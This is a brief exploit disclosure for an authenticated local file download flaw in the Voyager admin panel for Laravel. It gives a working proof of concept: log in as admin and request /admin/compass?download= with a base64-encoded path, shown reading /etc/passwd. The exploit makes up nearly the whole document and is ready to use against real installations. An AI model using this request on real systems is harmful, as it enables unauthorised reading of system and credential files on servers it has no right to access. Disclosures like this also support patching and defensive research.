# Exploit Title: Voyager Laravel Authentication Local File Download # Description: - # Date: 21112024 # Exploit Author: Khunerable # Vendor Homepage: https://voyager.devdojo.com/ | https://github.com/thedevdojo/voyager # Tested on: Windows 11,Windows NT 10.0 ///////////////////////////////////////////////////////////////////////////////////////// POC : you need to log-in into admin dashboard to execute after login, access "/admin/compass" then access /admin/compass?download=base64encodedirandfile example : L2V0Yy9wYXNzd2Q= : /etc/passwd localhost/admin/compass?download=L2V0Yy9wYXNzd2Q=